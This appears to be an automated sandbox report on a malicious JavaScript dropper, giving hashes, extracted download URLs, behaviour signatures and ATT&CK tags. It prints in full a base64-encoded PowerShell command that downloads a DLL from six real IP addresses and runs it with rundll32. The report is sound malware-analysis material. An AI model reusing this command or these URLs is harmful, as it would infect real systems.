cdf04ce70a7d1303b77cfa25eae0d0e9b114bdec69c15774bfb6745319dfda6d

Analysis

max time kernel
31s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
22/03/2023, 17:31

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General

Target

Nt_fa24628e-573c-423d-8c6a-8b2fb5f5c75b-ysA.js
Size

49KB
MD5

30fc96e1b14e130e2413f6032960968d
SHA1

576f50fc1f64a07f8cd2abd197fe009c484d7ef0
SHA256

cdf04ce70a7d1303b77cfa25eae0d0e9b114bdec69c15774bfb6745319dfda6d
SHA512

0aec7df88677b9f8828c2cd7e842eeeac9b2b8bcd62f56c47fe0f5373e4b16a6c80fade178883861de9d189e7733ed968a14e9cfb0fdbbafd7b332b689b8e39f
SSDEEP

768:4tblGvwyCadXP1Q9q1uvvIAY7qyXRgHS7VInm45UHDuiOa7S6sX5WCYH:4tbovw1adfNQv2KcVDuilcPYH

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://203.96.177.121/FIvB5lhB.dathttp://195.20.17.142/FIvB5lhB.dathttp://185.231.204.114/FIvB5lhB.dathttp://87.236.146.162/FIvB5lhB.dathttp://151.80.5.50/FIvB5lhB.dathttp://139.180.209.206/FIvB5lhB.dat

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	864	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1696 wrote to memory of 864	1696	wscript.exe	28
PID 1696 wrote to memory of 864	1696	wscript.exe	28
PID 1696 wrote to memory of 864	1696	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Nt_fa24628e-573c-423d-8c6a-8b2fb5f5c75b-ysA.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAZQBuAGQAZQBhAHYAbwB1AHIAZQByAFQAaABpAG8AYQBuAHQAaQBtAG8AbgBpAGEAdABlACAAPQAgACgAIgBoAHQAdABwADoALwAvADIAMAAzAC4AOQA2AC4AMQA3ADcALgAxADIAMQAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0AGgAdAB0AHAAOgAvAC8AMQA5ADUALgAyADAALgAxADcALgAxADQAMgAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0AGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADMAMQAuADIAMAA0AC4AMQAxADQALwBGAEkAdgBCADUAbABoAEIALgBkAGEAdABoAHQAdABwADoALwAvADgANwAuADIAMwA2AC4AMQA0ADYALgAxADYAMgAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0AGgAdAB0AHAAOgAvAC8AMQA1ADEALgA4ADAALgA1AC4ANQAwAC8ARgBJAHYAQgA1AGwAaABCAC4AZABhAHQAaAB0AHQAcAA6AC8ALwAxADMAOQAuADEAOAAwAC4AMgAwADkALgAyADAANgAvAEYASQB2AEIANQBsAGgAQgAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAbQBwAHUAdAByAGUAcwBjAGkAYgBsAGUAIABpAG4AIAAkAGUAbgBkAGUAYQB2AG8AdQByAGUAcgBUAGgAaQBvAGEAbgB0AGkAbQBvAG4AaQBhAHQAZQApACAAewB0AHIAeQAgAHsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABJAG0AcAB1AHQAcgBlAHMAYwBpAGIAbABlACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMgAwACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABtAGEAZwBpAGEAbgBpAHMAbQBGAHIAbwBuAGQAbwBzAGUALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAG0AYQBnAGkAYQBuAGkAcwBtAEYAcgBvAG4AZABvAHMAZQAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAG0AYQBnAGkAYQBuAGkAcwBtAEYAcgBvAG4AZABvAHMAZQAuAGQAbABsACwARwBMADcAMAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADQAOwB9AH0A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/864-58-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/864-59-0x0000000002330000-0x0000000002338000-memory.dmp

Filesize
32KB

Download
memory/864-60-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/864-61-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/864-62-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
memory/864-63-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download